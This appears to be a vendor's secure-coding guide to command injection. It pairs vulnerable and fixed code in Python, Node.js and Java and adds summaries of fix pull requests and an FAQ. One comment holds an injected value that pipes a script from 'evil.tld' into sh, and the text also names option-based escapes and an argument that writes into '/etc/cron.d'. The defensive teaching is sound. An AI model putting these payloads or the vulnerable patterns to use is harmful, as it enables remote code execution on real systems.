Command injection happens when user-controlled data becomes part of a string that a shell parses, so `;`, `|`, `&&`, `$(…)`, backticks and newlines turn one command into several. The fix is not to escape those characters — it is to stop invoking a shell: pass the program and its arguments as a list (`subprocess.run([…], shell=False)`, `child_process.execFile`, `ProcessBuilder`), so the operating system hands your arguments straight to `execve` with no parsing step. Where the *program name itself* is user-influenced, an allowlist of permitted commands is the control; where an argument could be read as an option, terminate the option list with `--`.
| Languages | Python, Node.js, Java, Go, Ruby, PHP, C — anything that can spawn a process |
| Dangerous calls | os.system, subprocess with shell=True, child_process.exec/execSync, Runtime.exec(String), eval-style shell wrappers, backticks in Ruby and Perl |
| Safe calls | subprocess.run(list, shell=False), child_process.execFile/spawn, ProcessBuilder(List<String>), exec.Command(name, args...) |
| Metacharacters | ; | & && || $( ) ` newline < > * ? ~ and, on Windows, ^ and %VAR% |
| Typical impact | Remote code execution as the service account; credential and cloud-metadata theft |
| Not a fix | Blocklisting metacharacters, shlex.quote around a whole command line, or wrapping the input in quotes |
Vulnerable
import subprocess
def ping(host: str):
# host = "8.8.8.8; curl http://evil.tld/s.sh | sh"
return subprocess.check_output(f"ping -c 1 {host}", shell=True)Secure
import ipaddress
import subprocess
def ping(host: str) -> bytes:
# Validate first: this argument has an exact grammar, so use it.
ipaddress.ip_address(host) # raises ValueError on anything else
return subprocess.check_output(
["ping", "-c", "1", "--", host],
shell=False,
timeout=5,
)With shell=False the list elements are passed to execve verbatim — `;` is a literal semicolon in argv[1], not a separator. `--` matters because an argument starting with `-` would otherwise be read as a ping option.
Vulnerable
const { exec } = require("node:child_process");
app.get("/logs", (req, res) => {
exec(`tail -n 100 /var/log/${req.query.file}`, (err, stdout) => res.send(stdout));
});Secure
const { execFile } = require("node:child_process");
const path = require("node:path");
const LOG_DIR = "/var/log/app";
app.get("/logs", (req, res) => {
const name = path.basename(String(req.query.file ?? ""));
const target = path.resolve(LOG_DIR, name);
if (!target.startsWith(LOG_DIR + path.sep)) return res.status(400).end();
execFile("tail", ["-n", "100", "--", target], { timeout: 5000 }, (err, stdout) => {
if (err) return res.status(500).end();
res.type("text/plain").send(stdout);
});
});`exec` spawns `/bin/sh -c`; `execFile` and `spawn` do not, unless you pass `shell: true`. The path check is a second, separate bug class (traversal) that lives in the same handler — fix both.
Vulnerable
Runtime.getRuntime().exec("convert " + userFile + " out.png");Secure
// Allowlist the program; never let the request name the binary.
private static final Set<String> ALLOWED = Set.of("convert", "identify");
ProcessBuilder pb = new ProcessBuilder(List.of("convert", userFile, "out.png"));
if (!ALLOWED.contains(pb.command().get(0))) throw new IllegalArgumentException();
pb.redirectErrorStream(true);
Process p = pb.start();
if (!p.waitFor(10, TimeUnit.SECONDS)) { p.destroyForcibly(); }`Runtime.exec(String)` splits on whitespace with a StringTokenizer — it does not invoke a shell, but it also does not respect quoting, so a filename with a space silently becomes two arguments. The List overload is the only predictable form.
Each of these is a pull request Orbis AppSec opened against a real open-source repository.
A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.
The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.
The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.
The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.
An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.
A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.
A protocol replay-check CLI built its subprocess argument list by calling `str.format()` on a user-supplied `--command` template and then handing the result to `shlex.split()`, so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in `sh -c`. The fix wraps the interpolated path in `shlex.quote()` before formatting, so the path always survives `shlex.split()` as a single toke
A high-severity command injection vulnerability in a build script allowed attackers who control CLI arguments to execute arbitrary shell commands by injecting metacharacters into an unvalidated parameter. The fix validates incoming CLI arguments and rejects those containing dangerous shell metacharacters before they reach command execution.
`shlex.quote` on each individual argument is correct for POSIX shells, but it is easy to apply to the wrong thing — quoting the whole command line, or quoting after interpolation, does nothing. It also has no Windows equivalent, since `cmd.exe` quoting rules differ and `^`/`%` expansion happens after quoting. Passing a list removes the parser entirely, which is why it is the recommendation rather than quoting.
It avoids shell metacharacters, but the single-String overload tokenises on whitespace without honouring quotes, so a filename containing a space becomes two arguments and an attacker who controls the string can inject extra arguments — for example `--output=/etc/cron.d/x`. That is CWE-88 rather than CWE-78, and it is still exploitable. Use the `List<String>` form.
Then the command is an enum, not a string. Map a short opaque identifier from the request onto a fixed argument list defined in code, and reject anything not in that map. If the requirement really is arbitrary command execution, the control is isolation — a sandboxed, network-restricted, ephemeral container — not input filtering.
Yes, for two reasons. Arguments starting with `-` are interpreted as options by the program you invoke, which is a distinct injection surface, and many programs have their own escapes — `find -exec`, `tar --to-command`, `git --upload-pack`, `ssh -o ProxyCommand`. Validate the value and, where the tool supports it, pass `--` first.
Orbis AppSec scans your GitHub repositories, traces the taint from source to sink, and opens a pull request with the fix applied and verified.
Try Orbis AppSecSee also: Command injection fixes we shipped